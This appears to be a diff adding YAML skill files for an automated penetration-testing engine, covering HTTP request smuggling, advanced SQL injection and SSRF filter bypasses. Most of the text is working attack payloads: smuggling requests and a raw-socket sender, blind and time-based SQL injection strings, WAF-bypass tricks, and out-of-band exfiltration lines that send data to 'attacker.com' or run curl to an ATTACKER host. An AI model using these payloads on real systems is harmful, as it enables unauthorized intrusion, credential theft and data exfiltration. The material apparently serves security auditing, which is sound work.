description: "CL.TE, TE.CL, TE.TE, and H2 downgrade smuggling detection and exploitation"
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles: [attack, audit]
|
|
6
|
+
tags: [request-smuggling, http, desync, cl-te, te-cl, h2, proxy, smuggling]
|
|
7
|
+
triggers:
|
|
8
|
+
- "Transfer-Encoding"
|
|
9
|
+
- "CL\\.TE"
|
|
10
|
+
- "TE\\.CL"
|
|
11
|
+
- "TE\\.TE"
|
|
12
|
+
- "desync"
|
|
13
|
+
- "smuggl"
|
|
14
|
+
- "HAProxy"
|
|
15
|
+
- "Apache Traffic Server"
|
|
16
|
+
- "nginx/1\\.[0-9]\\."
|
|
17
|
+
- "front.?end.*back.?end"
|
|
18
|
+
- "reverse.proxy"
|
|
19
|
+
- "HTTP/2.*downgrade"
|
|
20
|
+
- "h2c"
|
|
21
|
+
- "keep-alive"
|
|
22
|
+
estimated_tokens: 700
|
|
23
|
+
content: |
|
|
24
|
+
## HTTP Request Smuggling
|
|
25
|
+
|
|
26
|
+
### Concept
|
|
27
|
+
Smuggling exploits disagreements between a front-end proxy and back-end server about where one HTTP request ends and the next begins. The attacker's "smuggled" suffix is treated as the start of the next request by the back-end.
|
|
28
|
+
|
|
29
|
+
### Step 1: Timing-Based Detection (Safe First Step)
|
|
30
|
+
Send ambiguous requests and measure response timing. A vulnerable server stalls on the smuggled incomplete request.
|
|
31
|
+
|
|
32
|
+
**CL.TE probe** (front-end trusts Content-Length, back-end trusts Transfer-Encoding):
|
|
33
|
+
```
|
|
34
|
+
POST / HTTP/1.1
|
|
35
|
+
Host: target
|
|
36
|
+
Content-Length: 4
|
|
37
|
+
Transfer-Encoding: chunked
|
|
38
|
+
|
|
39
|
+
1
|
|
40
|
+
A
|
|
41
|
+
X
|
|
42
|
+
```
|
|
43
|
+
If the back-end hangs waiting for the next chunk, CL.TE is confirmed.
|
|
44
|
+
|
|
45
|
+
**TE.CL probe** (front-end trusts TE, back-end trusts CL):
|
|
46
|
+
```
|
|
47
|
+
POST / HTTP/1.1
|
|
48
|
+
Host: target
|
|
49
|
+
Content-Length: 6
|
|
50
|
+
Transfer-Encoding: chunked
|
|
51
|
+
|
|
52
|
+
0
|
|
53
|
+
|
|
54
|
+
X
|
|
55
|
+
```
|
|
56
|
+
If the back-end reads "X" as part of this request but the front-end already ended it, TE.CL is confirmed.
|
|
57
|
+
|
|
58
|
+
### Step 2: Exploitation Payloads
|
|
59
|
+
|
|
60
|
+
**CL.TE — smuggle a prefix** (back-end sees SMUGGLED as start of next request):
|
|
61
|
+
```
|
|
62
|
+
POST / HTTP/1.1
|
|
63
|
+
Host: target
|
|
64
|
+
Content-Length: 13
|
|
65
|
+
Transfer-Encoding: chunked
|
|
66
|
+
|
|
67
|
+
0
|
|
68
|
+
|
|
69
|
+
SMUGGLED
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
**TE.CL — smuggle with chunked prefix**:
|
|
73
|
+
```
|
|
74
|
+
POST / HTTP/1.1
|
|
75
|
+
Host: target
|
|
76
|
+
Content-Length: 4
|
|
77
|
+
Transfer-Encoding: chunked
|
|
78
|
+
|
|
79
|
+
5c
|
|
80
|
+
GPOST / HTTP/1.1
|
|
81
|
+
Host: target
|
|
82
|
+
Content-Length: 15
|
|
83
|
+
|
|
84
|
+
x=1
|
|
85
|
+
0
|
|
86
|
+
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
**H2.CL downgrade** (front-end HTTP/2, back-end HTTP/1.1):
|
|
90
|
+
- Send HTTP/2 request with a `Content-Length` header that disagrees with the actual body length
|
|
91
|
+
- The front-end forwards via H1 to back-end; surplus bytes become the next request
|
|
92
|
+
- Also try `Transfer-Encoding: chunked` in H2 frames (should be illegal but some proxies forward it)
|
|
93
|
+
|
|
94
|
+
### Step 3: TE Header Obfuscation (TE.TE Variant)
|
|
95
|
+
When both servers honor Transfer-Encoding, trick one into ignoring it:
|
|
96
|
+
- `Transfer-Encoding: xchunked`
|
|
97
|
+
- `Transfer-Encoding : chunked` (space before colon)
|
|
98
|
+
- `Transfer-Encoding:\x0bchunked` (vertical tab)
|
|
99
|
+
- `Transfer-encoding: chunked\r\nTransfer-encoding: x` (duplicate with second invalid)
|
|
100
|
+
- `TRANSFER-ENCODING: chunked` (case variation)
|
|
101
|
+
- `Transfer-Encoding: chunked\r\nTransfer-Encoding: identity`
|
|
102
|
+
|
|
103
|
+
### Step 4: Confirming Exploitability
|
|
104
|
+
- Smuggle a `GET /known-404-path` — if the next legitimate request returns that 404, confirmed.
|
|
105
|
+
- Smuggle `GET /admin HTTP/1.1\r\nHost: target\r\nX:` — admin content leaking to other users proves request boundary confusion.
|
|
106
|
+
- Smuggle a request that reflects headers — capture another user's cookies/auth tokens.
|
|
107
|
+
|
|
108
|
+
### Step 5: Impact Escalation
|
|
109
|
+
- **Auth bypass**: smuggle requests to `/admin` or internal-only endpoints behind the proxy.
|
|
110
|
+
- **Cache poisoning**: smuggle a request whose response poisons the CDN cache for other users.
|
|
111
|
+
- **Credential theft**: smuggle a partial request so the next user's request body appends to yours.
|
|
112
|
+
- **Request routing bypass**: cross virtual-host boundaries by smuggling a different Host header.
|
|
113
|
+
|
|
114
|
+
### Tooling
|
|
115
|
+
- **Python raw sockets** (when curl normalizes headers):
|
|
116
|
+
```python
|
|
117
|
+
import socket
|
|
118
|
+
s = socket.socket(); s.connect((host, 80))
|
|
119
|
+
s.send(b"POST / HTTP/1.1\r\nHost: x\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nSMUGGLED")
|
|
120
|
+
print(s.recv(4096))
|
|
121
|
+
```
|
|
122
|
+
- **smuggler.py** (defparam/smuggler): automated CL.TE/TE.CL/TE.TE detection.
|
|
123
|
+
- `curl --http1.1 --raw` for manual probe construction.
|
|
124
|
+
- Must use keep-alive connections — send two requests back-to-back on the same socket.
|
|
125
|
+
|
|
126
|
+
### Gotchas
|
|
127
|
+
- Many CDNs (Cloudflare, Akamai) patched classic smuggling — focus on custom proxies (old HAProxy, nginx 1.x, Apache Traffic Server).
|
|
128
|
+
- HTTP/2 smuggling requires the proxy to downgrade to HTTP/1.1 for the back-end.
|
|
129
|
+
- Some servers reject requests with both CL and TE — that itself is a good sign (properly patched).
|
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
id: sqli-advanced
|
|
2
|
+
name: "Advanced SQL Injection"
|
|
3
|
+
description: "Blind, time-based, OOB, second-order, and WAF-bypass SQL injection techniques across MySQL, PostgreSQL, MSSQL, and SQLite."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
tags:
|
|
9
|
+
- sqli
|
|
10
|
+
- blind-sqli
|
|
11
|
+
- time-based
|
|
12
|
+
- oob
|
|
13
|
+
- second-order
|
|
14
|
+
- waf-bypass
|
|
15
|
+
- database
|
|
16
|
+
triggers:
|
|
17
|
+
- "SQL syntax"
|
|
18
|
+
- "mysql_fetch"
|
|
19
|
+
- "sqlite3?\\."
|
|
20
|
+
- "pg_query"
|
|
21
|
+
- "ORA-\\d{5}"
|
|
22
|
+
- "unclosed quotation mark"
|
|
23
|
+
- "UNION\\s+SELECT"
|
|
24
|
+
- "information_schema"
|
|
25
|
+
- "SLEEP\\("
|
|
26
|
+
- "pg_sleep"
|
|
27
|
+
- "BENCHMARK\\("
|
|
28
|
+
- "WAITFOR DELAY"
|
|
29
|
+
- "blind.*sql"
|
|
30
|
+
- "sql.*error"
|
|
31
|
+
estimated_tokens: 850
|
|
32
|
+
content: |
|
|
33
|
+
## Advanced SQL Injection Methodology
|
|
34
|
+
|
|
35
|
+
### Phase 1: Injection Point Discovery
|
|
36
|
+
- Test every parameter (GET, POST, headers, cookies, JSON keys) with canary payloads:
|
|
37
|
+
- String context: `' OR 'a'='a`, `" OR "a"="a`, `' AND '1'='2`
|
|
38
|
+
- Numeric context: `1 OR 1=1`, `1 AND 1=2`, `0 OR 1=1`
|
|
39
|
+
- Comment variants: `--`, `-- -`, `#`, `/**/`, `;%00`
|
|
40
|
+
- Compare response length/content between true and false conditions
|
|
41
|
+
- Check error messages — they leak the DB engine and query structure
|
|
42
|
+
|
|
43
|
+
### Phase 2: DB Engine Fingerprinting
|
|
44
|
+
- MySQL: `SELECT @@version`, `SELECT version()`, error contains "MySQL"
|
|
45
|
+
- PostgreSQL: `SELECT version()`, error contains "pg_" or "PostgreSQL"
|
|
46
|
+
- MSSQL: `SELECT @@version`, error contains "Microsoft" or "ODBC"
|
|
47
|
+
- SQLite: `SELECT sqlite_version()`, error contains "SQLITE" or "no such column"
|
|
48
|
+
- Oracle: `SELECT banner FROM v$version`, error contains "ORA-"
|
|
49
|
+
|
|
50
|
+
### Phase 3: Blind SQLi — Boolean-Based
|
|
51
|
+
When no output is visible but responses differ between true/false:
|
|
52
|
+
```
|
|
53
|
+
' AND 1=1-- - → normal response (true)
|
|
54
|
+
' AND 1=2-- - → different response (false)
|
|
55
|
+
```
|
|
56
|
+
Extract data one character at a time:
|
|
57
|
+
```
|
|
58
|
+
' AND SUBSTRING((SELECT current_user()),1,1)='a'-- -
|
|
59
|
+
' AND ASCII(SUBSTRING((SELECT current_user()),1,1))>64-- -
|
|
60
|
+
```
|
|
61
|
+
Binary search: bisect ASCII range 32-126 to extract each character in ~7 requests.
|
|
62
|
+
|
|
63
|
+
### Phase 4: Blind SQLi — Time-Based
|
|
64
|
+
When boolean differences are not observable:
|
|
65
|
+
- MySQL: `' AND IF(1=1,SLEEP(3),0)-- -`
|
|
66
|
+
- MySQL heavy: `' AND BENCHMARK(5000000,MD5('x'))-- -`
|
|
67
|
+
- PostgreSQL: `'; SELECT CASE WHEN (1=1) THEN pg_sleep(3) ELSE pg_sleep(0) END-- -`
|
|
68
|
+
- MSSQL: `'; WAITFOR DELAY '0:0:3'-- -`
|
|
69
|
+
- SQLite: `' AND (SELECT CASE WHEN (1=1) THEN randomblob(100000000) ELSE 0 END)-- -`
|
|
70
|
+
Measure response time delta: 3s+ delay confirms execution.
|
|
71
|
+
|
|
72
|
+
### Phase 5: Out-of-Band (OOB) Exfiltration
|
|
73
|
+
When time-based is unreliable or blocked:
|
|
74
|
+
- MySQL DNS exfil: `' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\',( SELECT current_user()),'.attacker.com\\\\a'))-- -`
|
|
75
|
+
- MySQL file write: `' UNION SELECT 'data' INTO OUTFILE '/tmp/proof.txt'-- -`
|
|
76
|
+
- PostgreSQL: `'; COPY (SELECT current_user()) TO PROGRAM 'curl http://ATTACKER/?d=$(whoami)'-- -`
|
|
77
|
+
- MSSQL xp_dirtree: `'; EXEC master..xp_dirtree '\\\\\\\\attacker.com\\\\a'-- -`
|
|
78
|
+
|
|
79
|
+
### Phase 6: Second-Order SQLi
|
|
80
|
+
Payload stored now, triggered later in a different query:
|
|
81
|
+
1. Register/update a field with: `admin'-- -` as username
|
|
82
|
+
2. Trigger a password reset or profile lookup that uses the stored value
|
|
83
|
+
3. The stored payload executes in the second query context
|
|
84
|
+
Common sinks: username fields, address fields, search history, log entries
|
|
85
|
+
|
|
86
|
+
### Phase 7: WAF Bypass Techniques
|
|
87
|
+
- Inline comments: `/*!50000UNION*/+/*!50000SELECT*/`
|
|
88
|
+
- Case variation: `uNiOn SeLeCt`
|
|
89
|
+
- Double URL encoding: `%2527` decodes to `%27` then to `'`
|
|
90
|
+
- Whitespace alternatives: `/**/`, `%09`, `%0a`, `%0d`, `+`
|
|
91
|
+
- Concatenation: `CONCAT(0x41,0x42)` instead of `'AB'`
|
|
92
|
+
- No-quotes numeric injection: `1 UNION SELECT 1,2,3`
|
|
93
|
+
- HTTP parameter pollution: `?id=1&id=' UNION SELECT 1-- -`
|
|
94
|
+
- JSON/XML body when form expected — different parser, different escaping
|
|
95
|
+
|
|
96
|
+
### Phase 8: Data Extraction Strategy
|
|
97
|
+
Once injection confirmed, extract minimal non-sensitive proof:
|
|
98
|
+
1. `SELECT current_user()` — proves auth context
|
|
99
|
+
2. `SELECT table_name FROM information_schema.tables LIMIT 5` — proves data access
|
|
100
|
+
3. `SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 5`
|
|
101
|
+
4. Extract one non-sensitive row as proof of unauthorized data access
|
|
102
|
+
Do NOT dump entire databases — extract the minimum needed to prove impact.
|
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
id: ssrf-bypass
|
|
2
|
+
name: "SSRF & SSRF-Filter Bypass"
|
|
3
|
+
description: "Server-side request forgery and, more importantly, bypasses of the SSRF guards apps already have — redirect-follow, DNS rebinding, parser confusion, and absolute-URL injection. Verified in openai-node (bearer-cred leak) and vercel/ai."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
tags:
|
|
9
|
+
- ssrf
|
|
10
|
+
- request-forgery
|
|
11
|
+
- dns-rebinding
|
|
12
|
+
- redirect
|
|
13
|
+
- url-parsing
|
|
14
|
+
- metadata
|
|
15
|
+
- credential-leak
|
|
16
|
+
triggers:
|
|
17
|
+
- "ssrf"
|
|
18
|
+
- "fetch\\(|axios|got\\(|request\\(|httpx|requests\\.get|urllib"
|
|
19
|
+
- "redirect"
|
|
20
|
+
- "follow.?redirect"
|
|
21
|
+
- "new URL\\(|URL\\.parse|urlparse"
|
|
22
|
+
- "allowlist|allow.?list|blocklist|deny.?list"
|
|
23
|
+
- "169\\.254\\.169\\.254|metadata"
|
|
24
|
+
- "localhost|127\\.0\\.0|0\\.0\\.0\\.0|::1"
|
|
25
|
+
- "private.?ip|is.?private|isPrivate"
|
|
26
|
+
- "webhook|callback.?url|image.?url|download.?url|proxy"
|
|
27
|
+
- "baseURL|base_url"
|
|
28
|
+
estimated_tokens: 900
|
|
29
|
+
content: |
|
|
30
|
+
## SSRF & SSRF-Filter-Bypass Methodology
|
|
31
|
+
|
|
32
|
+
The high-value finding is rarely "the app fetches a user URL with no checks."
|
|
33
|
+
It's "the app HAS an SSRF guard and the guard is bypassable" — that's what
|
|
34
|
+
maintainers accept (and what we verified in openai-node + vercel/ai).
|
|
35
|
+
|
|
36
|
+
### Phase 1: Find the outbound-fetch sinks + their guard
|
|
37
|
+
Locate where the server makes a request to a URL influenced by input:
|
|
38
|
+
webhooks, image/avatar fetch, link preview, import-from-URL, `baseURL`
|
|
39
|
+
override, OAuth/OIDC discovery, PDF/screenshot renderers. Then find the
|
|
40
|
+
guard: an allowlist, a `isPrivateIP()` check, a scheme filter, a host regex.
|
|
41
|
+
|
|
42
|
+
### Phase 2: Bypass the guard (the actual bug)
|
|
43
|
+
- **TOCTOU via redirect** — guard validates the initial URL, then the client
|
|
44
|
+
*follows a redirect* to an internal target. (Check: is the redirect target
|
|
45
|
+
re-validated? `maxRedirects`/`follow` with no per-hop check = bypass.)
|
|
46
|
+
- **DNS rebinding / resolution gap** — guard resolves+checks the host, but the
|
|
47
|
+
HTTP client re-resolves at connect time → attacker flips the A record to
|
|
48
|
+
`169.254.169.254` between check and use. (vercel/ai shape: "DNS resolution
|
|
49
|
+
gap in private-IP protection.")
|
|
50
|
+
- **Absolute-URL injection** — a method that takes a *path* also accepts an
|
|
51
|
+
absolute URL, so a relative-looking input escapes the configured `baseURL`
|
|
52
|
+
to an attacker host — and the client sends its **Authorization/bearer
|
|
53
|
+
header** along (openai-node shape: client leaks creds to an attacker server).
|
|
54
|
+
- **Parser confusion** — `new URL()` vs the HTTP client disagree on host:
|
|
55
|
+
`http://allowed@evil/`, `http://evil#@allowed/`, `http://evil\@allowed`,
|
|
56
|
+
backslashes, fragments, embedded credentials, IPv6 brackets, decimal/octal/
|
|
57
|
+
hex IPs (`0x7f000001`, `2130706433`), trailing dots.
|
|
58
|
+
- **Scheme smuggling** — `file://`, `gopher://`, `dict://`, `http://[::]` when
|
|
59
|
+
only `https?` was assumed.
|
|
60
|
+
|
|
61
|
+
### Phase 3: Impact — what makes it high/critical
|
|
62
|
+
- Reaches cloud metadata (`169.254.169.254` → IAM creds) or internal services.
|
|
63
|
+
- **Leaks the client's own credentials** (bearer/cookie) to the attacker host
|
|
64
|
+
— this is the openai-node finding and it's high-severity on its own.
|
|
65
|
+
- Internal port scan / blind SSRF with timing oracle.
|
|
66
|
+
|
|
67
|
+
### Phase 4: Confirm before save_finding
|
|
68
|
+
- Show the guard code AND the exact bypass (the redirect/rebind/parse case),
|
|
69
|
+
file:line for both. "There's a fetch" is not a finding — the bypass is.
|
|
70
|
+
- Demonstrate the request leaving to an attacker-controlled host (or the creds
|
|
71
|
+
on it). A captured request to a canary host is the proof.
|
|
72
|
+
|
|
73
|
+
### Anti-false-positive checklist
|
|
74
|
+
- Is the redirect target re-validated per hop? Is resolution pinned (resolve
|
|
75
|
+
once, connect to that IP)? Is the header stripped on cross-origin redirect?
|
|
76
|
+
- Is the URL actually attacker-controlled, or a fixed config value?
|
|
77
|
+
If the guard re-checks every hop and pins the resolved IP, it's NOT bypassable
|
|
78
|
+
— don't save it.
|
|
79
|
+
|
|
80
|
+
### Real wins from this engine
|
|
81
|
+
- openai-node: client sends bearer credentials to an attacker-controlled host
|
|
82
|
+
via absolute-URL / public-method path injection.
|
|
83
|
+
- vercel/ai: download-URL SSRF protection bypassed via redirect + a DNS
|
|
84
|
+
resolution gap in the private-IP check.
|